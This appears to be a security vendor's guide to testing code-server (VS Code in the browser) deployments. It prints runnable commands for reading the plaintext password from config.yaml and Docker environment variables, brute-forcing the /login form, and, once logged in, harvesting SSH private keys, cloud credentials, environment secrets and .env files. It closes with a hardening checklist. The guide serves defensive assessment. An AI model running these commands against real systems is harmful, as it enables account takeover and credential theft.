Remote Development Security Testing

code-server Security Testing: Default Credentials, API Key, Config, and VS Code in Browser

📅 July 3, 2026 ⏱ 10 min read 🏷 code-server, Remote Development Security, VS Code Browser, RCE, Password Brute-Force, Config File, Terminal Access, SSH Keys, Cloud Credentials

code-server is a widely deployed tool that runs VS Code in the browser, enabling remote development from any device — it is used by individual developers on cloud VMs and by organizations for standardized remote development environments. Key assessment areas: a single password protects access to a full VS Code environment with an integrated terminal; the config.yaml file stores this password in plaintext; the integrated terminal provides immediate OS-level code execution as the service account; and authentication has no rate limiting by default, enabling password brute-force. This guide covers systematic code-server security assessment.

Config File Password Extraction and Brute-Force
Terminal RCE and Credential Harvesting Post-Authentication
Unauthenticated Reconnaissance and Exposure
code-server Security Hardening

Config File Password Extraction and Brute-Force

# code-server — config file password extraction and brute-force
CS_URL="https://code.example.com"

# config.yaml — code-server configuration (plaintext password)
cat ~/.config/code-server/config.yaml 2>/dev/null
# bind-addr: 0.0.0.0:8080
# auth: password
# password: your-plaintext-password-here   <-- plaintext in many setups
# hashed-password: ""
# cert: false

# Docker — PASSWORD/HASHED_PASSWORD environment variable
docker inspect code-server 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['PASSWORD', 'HASHED_PASSWORD', 'AUTH', 'CERT']):
            print(e)
" 2>/dev/null

# /healthz — unauthenticated health endpoint (confirms code-server is running)
curl -s "${CS_URL}/healthz" 2>/dev/null
# Returns: {"status":"alive"} — confirms code-server without authentication

# Password brute-force — code-server /login has no rate limiting by default
# Must first get CSRF token
CSRF_TOKEN=$(curl -s -c /tmp/cs_jar "${CS_URL}/login" 2>/dev/null | \
  grep -oP 'name="_csrf"\s+value="\K[^"]+' | head -1)
echo "CSRF token: $CSRF_TOKEN"

for PASS in "password" "code" "developer" "admin" "secret" "1234" "pass123" "vscode" "code123" "dev"; do
  RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
    -b /tmp/cs_jar -c /tmp/cs_jar \
    -X POST "${CS_URL}/login" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "_csrf=${CSRF_TOKEN}&password=${PASS}" 2>/dev/null)
  echo "${PASS}: HTTP ${RESULT}"
  # 302 to / = success; 200 = failure (login page redisplayed)
  if [ "$RESULT" = "302" ]; then
    echo "  SUCCESS! Password: ${PASS}"
    break
  fi
done

Terminal RCE and Credential Harvesting Post-Authentication

# code-server post-authentication — terminal RCE and credential harvesting
# Once authenticated via browser session cookie:

# code-server terminal = full shell access as the service user
# The following would be executed via the integrated VS Code terminal

# Harvest SSH private keys
ls -la ~/.ssh/ 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null | head -5
cat ~/.ssh/id_ed25519 2>/dev/null | head -5
# Private keys for lateral movement to other servers

# Cloud credential files
cat ~/.aws/credentials 2>/dev/null
# [default]
# aws_access_key_id = AKIA...
# aws_secret_access_key = ...

cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
cat ~/.kube/config 2>/dev/null | grep -E "server|token|certificate" | head -10

# Environment variables — cloud tokens and secrets
env | grep -E "TOKEN|SECRET|KEY|PASSWORD|AWS|GOOGLE|AZURE|GITHUB|GITLAB" 2>/dev/null
# Bearer tokens, API keys, and cloud credentials
# Often set in the shell profile or Docker environment

# Source code and .env files in the workspace
find /home /root /workspace /app /code /srv \
  -name ".env" -o -name ".env.local" -o -name ".env.production" \
  -o -name "credentials.json" -o -name "serviceaccount.json" \
  2>/dev/null | head -20

# Crontab — persistence via scheduled commands
crontab -l 2>/dev/null

# Install a reverse shell via VS Code extension (persistence)
# Extensions are installed per-user, survive container restarts in persistent volumes

Unauthenticated Reconnaissance and Exposure

# code-server — unauthenticated reconnaissance
CS_URL="https://code.example.com"

# /healthz — alive check without authentication
curl -s "${CS_URL}/healthz" 2>/dev/null
# {"status":"alive"}

# /version — version disclosure
curl -s "${CS_URL}/version" 2>/dev/null
# Returns code-server version string for CVE targeting

# Check if code-server is deployed without auth (auth: none in config)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CS_URL}/" 2>/dev/null)
echo "Root path: HTTP $STATUS"
# 200 without redirect = auth: none (no authentication at all!)
# 302/303 to /login = password authentication required

# Detect code-server from browser fingerprinting
curl -s "${CS_URL}/login" 2>/dev/null | \
  grep -i "code.server\|coder\|vs code\|vscode" | head -5

# Check if code-server is behind Nginx with proxy.domain.com auth
# code-server proxy feature creates subdomains for port forwarding
# https://3000--code.example.com/ — proxies port 3000 on the server
# This can expose internal services running on the development machine

# Common code-server deployment scanning
for PORT in 8080 8443 443 8888 9000; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    --max-time 3 "http://TARGET:${PORT}/healthz" 2>/dev/null)
  [ "$STATUS" = "200" ] && echo "code-server found on port ${PORT}"
done

code-server Security Hardening

code-server Security Hardening Checklist:

Use hashed-password instead of plaintext password in config.yaml — code-server's default configuration stores the authentication password in plaintext in ~/.config/code-server/config.yaml; if this file is readable by other users or processes on the system, the plaintext password is directly exposed; generate a bcrypt hash using code-server itself (code-server --verbose hashed-password) or using htpasswd -bnBC 10 "" password, and store the hash in the hashed-password field rather than password; never store the plaintext password in the config file; even better, switch to a proper authentication layer (OAuth, SSO) in front of code-server rather than relying on its built-in password authentication
Restrict code-server access to localhost and use an authenticated reverse proxy — code-server should never be directly exposed to the internet on its configured port (default 8080 or 8443); configure bind-addr: 127.0.0.1:8080 to limit code-server to localhost only; place an authenticated reverse proxy (nginx with OAuth2-proxy or Authelia) in front of code-server for proper authentication with MFA support; use TLS termination at the proxy layer; add rate limiting to the /login endpoint at the proxy level — code-server has no built-in rate limiting; implement IP allowlisting if the development team has stable IP addresses; the goal is defense-in-depth so that a compromised password alone does not grant access
Understand that code-server authentication grants full OS access — code-server's authentication model is binary: either you have the password and get full access, or you do not; full access means a complete VS Code environment with an integrated terminal running as the code-server process account; this terminal can read all files accessible to that user account including SSH private keys, AWS credentials, .kube/config, .env files, and cloud service account JSON files; the blast radius of a code-server compromise extends to every system and cloud account accessible from the development machine; treat code-server access as equivalent to SSH access to the server; run code-server under a least-privilege service account with minimal filesystem access and no ability to sudo
Disable the port forwarding proxy feature in production — code-server includes a built-in port forwarding proxy that creates subdomains (e.g., 3000--code.example.com proxies port 3000); this feature is designed for development convenience but can expose internal services to the internet if not properly scoped; disable proxy.domain in the config if not required; implement network-level controls to prevent code-server from forwarding internal service ports; in container deployments, restrict code-server's network access to only the ports and hosts it legitimately needs
Do not store cloud credentials in the development environment accessible to code-server — code-server's terminal inherits the environment of the process running code-server; any environment variables set for the code-server process are readable from the terminal; avoid setting AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, and similar credentials in the shell profile or systemd environment file for the code-server service; use instance metadata service credentials (IAM roles for EC2) instead of long-lived access keys; use short-lived credentials obtained via OIDC federation; rotate all cloud credentials immediately if code-server access was compromised

Security Test	Method	Risk
config.yaml plaintext password extraction	Read ~/.config/code-server/config.yaml password field — plaintext authentication password; immediate full VS Code environment access including integrated terminal RCE	Critical
auth: none configuration — no authentication	GET / returns 200 without redirect — code-server deployed without any authentication; immediate full access to VS Code environment and terminal	Critical
Password brute-force via /login (no rate limiting)	POST /login with CSRF token — no default rate limiting; brute-force common passwords; weak developer passwords frequently used (password, code, developer, 1234)	High
Post-auth SSH key and cloud credential extraction	Integrated terminal — cat ~/.ssh/id_rsa; cat ~/.aws/credentials; env \| grep SECRET; find / -name ".env" — complete credential harvest from development environment	Critical
Port forwarding proxy internal service exposure	GET https://3000--code.example.com/ — code-server proxy exposes internal ports on the development server to the internet via subdomain routing	High

Automate code-server Security Testing

Ironimo tests code-server deployments for config.yaml plaintext password extraction, auth: none unauthenticated access detection, /healthz unauthenticated alive confirmation, password brute-force via /login without rate limiting, Docker PASSWORD and HASHED_PASSWORD environment variable exposure, integrated terminal RCE assessment, SSH private key access via ~/.ssh/, AWS credential file reading, cloud credential environment variable enumeration, port forwarding proxy internal service exposure, and VS Code extension installation for persistence assessment.

Start free scan

Table of Contents

Config File Password Extraction and Brute-Force

Terminal RCE and Credential Harvesting Post-Authentication

Unauthenticated Reconnaissance and Exposure

code-server Security Hardening

Automate code-server Security Testing